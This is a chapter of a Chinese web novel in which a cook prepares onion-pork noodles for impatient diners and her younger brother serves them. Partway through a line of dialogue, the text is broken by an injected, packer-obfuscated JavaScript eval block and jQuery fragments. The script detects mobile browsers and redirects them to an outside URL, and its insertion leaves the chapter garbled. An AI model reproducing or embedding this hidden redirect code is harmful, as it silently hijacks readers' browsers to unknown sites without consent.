26. 炒面

作品:《我的小吃店爆火了

    施釉在王叔等人送来的食材里扒拉。


    他们提醒过蔬菜量少,但她没想到会这么少且杂。


    这点鸡毛菜也不知道有没有半斤,拳头大小的土豆也就孤零零六颗,也就洋葱数量相对多一点,能派的上用场。


    洋葱处理起来不麻烦,和里脊肉搭配,是一道非常适配面条的浇头。


    施釉叹了口气,认命的把洋葱挑出来洗干净。


    切去头和尾,这一步下刀要快,不然洋葱很容易辣眼睛,紧接着竖着给洋葱剌个口子,剥开外面的保护层,这样切片会更方便。


    时间紧迫,施釉不再藏拙,气场全开。


    第一次毫无保留的展现自己的刀工。


    刀口触在砧板上发出清脆的响声,顷刻间吸引住了剥笋的两人。


    罗奶奶见识过,对她快到产生残影的手速记忆犹新。


    而此刻,面对气场大开的施釉,她只感觉心惊肉跳。


    因为她的速度比之前还要快了一倍。


    李朵微张着嘴,已经被惊到说不出话。


    施釉速度快,用不了几分钟就把洋葱都切好了,接着处理里脊肉,将其一切为二。


    她之前养猪,对猪的每个部位都了如指掌,里脊肉是猪脊背内侧的嫩肉,纹理明显,顺着纹理切成薄片,再纵向切成丝。


    食材到她手里,切丝切丁还是切片,怎样处理更顺手更方便,完全是肢体记忆在控制她。


    不多时,第一波食材便已全部备好。


    施釉架起三口锅,同时开火。


    两口油锅一个炒浇头,一个煎荷包蛋,另一个大汤锅用来煮面。


    游刃有余的动作再一次把剥笋的两人看傻了。


    罗奶奶两眼放光,情绪异常激动。


    这是什么厨艺怪物,到底是施家祖上积德还是她罗美芬人到老年命格变了!


    李朵则是瞪圆了双眼,不敢置信道,“玩这么大......”


    被切成条状的里脊肉一下锅就和热油碰撞出刺啦刺啦的声音,随着各种调料的加入,肉丝变成了酱色。


    此刻平平无奇的肉丝,在施釉颠了几下勺后,肉香味好似在一瞬间迸发开来,勾人的香味一阵一阵的钻入鼻息。


    大堂等候多时的客人都饿极了,香味一经散出,全面化身西北孤狼躁动着。


    “就是这味!香的太纯粹了,这要不是猪肉,我把头给你。”


    “好幸福,有种梦回炸酱面的错觉,呜呜呜我的白月光。”


    “啊啊啊啊,到底有没有人懂这种馋的心尖尖都发疼的感觉!”


    “爸,这次没骗你吧,吃一次绝对能让你记一辈子,就冲着香味让我再等一小时我都愿意!”


    “之前是我不对,我说话太大声了,我有罪。”


    “这香味太顶了,妈的,我口水直咽,等不了真的等不了了,到底啥时候开饭啊。”


    “折磨死我了,儿子你守着位置,我出去透透气。”


    施釉并不清楚仅是一道小配料,就让他们垂涎三尺。


    她手上这道洋葱肉丝浇头已经到了最后一步,刚用了水淀粉做勾芡,只需要搅拌到料汁浓稠就可以出锅。


    长期经验和肌肉记忆告诉她,这个过程需要一分四十秒。


    对她来说意味着,她可以在平底锅上同时煎六个鸡蛋。


    六个不是她的极限,是锅的极限。


    后厨的炒锅不是专用锅,而是家用炒锅,一次浇头大约能够8碗。


    鉴于他们等得太久,怕心有幽怨,施釉难得大方一次。


    肉疼的给他们每碗送了个荷包蛋意思意思。


    本不想送,怕他们吃的太好,明天还来,若不送,显得她多小气似得。


    虽然她确实不够大气,但这点格局还是有的。


    底下人手不够,施釉送了四碗面出去后,直接上楼把悠闲看动画片的施睿拎了下来。


    施睿纳闷,他今天可没惹施釉不开心,干嘛还黑着一张脸,活像是欠了她钱似的。


    即便心里这么想,但他一点也不敢犟嘴。


    忘了什么,他都不敢忘了自己的身份。


    已经成为施釉身边最最最衷心的小狗的施睿,深知言听计从的重要性。


    一到楼下,他就被店里的香味迷得走不动道。


    “我的妈,洋葱竟然这么鲜甜?难道我之前吃的都是假洋葱?”


    “救命啊,无肉不欢的我怎么爱上洋葱了,没人告诉我洋葱能这么好吃啊,泪目了,这真的没有科技吗。”


    “猪大概也没想到,有一天自己身上掉下来的肉,只能沦为配菜。”


    “给料好多,太好吃了,嗦面的快乐谁能懂!”


    “秀姐太奸诈了,我好恨!先用炸酱面俘获我的心,让我爱而不得,现在又整替身文学让我缠绵悱恻,以为这样我就会臣服,太小看我了。”


    “你们都给我闭嘴,闭嘴,先吃了不起?能不能等我们都吃上了再叭叭!”


    “警告第一次,我们饿极了什么都干得出来,奉劝你们保持


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13917909|145370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    安静。”


    施睿紧跟在施釉身后,两只乌黑清澈的眸子直勾勾盯着客人碗里的面条。


    这是什么面,看起来很不错的样子,但最近不是再卖炒饭?


    店里就这么大,没走几步就进了厨房。


    施睿恋恋不舍的收回目光,刚想他们吃的什么,面前就递来一个褐色托盘,他下意识接住。


    “你是香香餐馆未来继承人,提前为自己效劳不算过分。”施釉一边说一边往托盘上放碗,勉强放好四碗,不容置喙道,“去吧,面随便上,打翻了从你分红里扣。”


    “......”施睿无语,怎么有人又会说话又不会说话,闹心。


    见他还愣在原地没动,施釉切着洋葱斜乜他一眼,“不要让我听见一个不字。”


    “我马上就干活,姐姐,午饭能吃这个面吗,它看起来很好吃的样子。”施睿低头看了眼碗里香喷喷的面,咽了咽口水。


    “闭嘴。”施釉动作不停,甚至又快了一点。


    清脆的切葱声,配着施釉不带任何温度的话,让施睿毛骨悚然。


    再加上角落里做到隐形的两人,气氛让他倍感不妙。


    冷静这个词一旦用在施釉身上,就意味着可怕。


    想到没做完的习题集,施睿闭上嘴,老实巴交的出去送餐。


    惹不起,但躲得起。


    没吃上的客人被馋的已经到达了临界点,差一点他们就想啃手了。


    而端着托盘出现的施睿,就像光一样,在黑暗中照亮了前进的方向。


    “哟,怎么是个小孩儿,早说没人上菜啊,我自己进去拿就行。”


    “行了,别吵吵,蚊子再小也是肉。”


    “小帅哥,看在我都能做你爷爷的份上,先给我成呗,晚点给你买糖吃。”


    “论年纪,我可比你大,应该先给我。”


    就在家长们准备扑上去的时候,自家不争气的孩子紧紧拦住他们。


    “哎呦我去,爸你有点素质成不,人香香不会少了你的。”


    “爸,你瞧瞧人家多有觉悟,做长辈的怎么连这点自控力都没有。”


    “不取号就是麻烦,心里一点数都没有,这得排到什么时候,太煎熬了。”


    施睿脚步不停,朝店里为数不多的女性走去。


    给高美茹母女送了两碗后,又转到林茜面前放上一碗,剩下最后一碗面,施睿给了胡妈妈,“女士优先,祝你们用餐愉快。”


    起哄的爸爸们:吃个饭也能体现女士优先?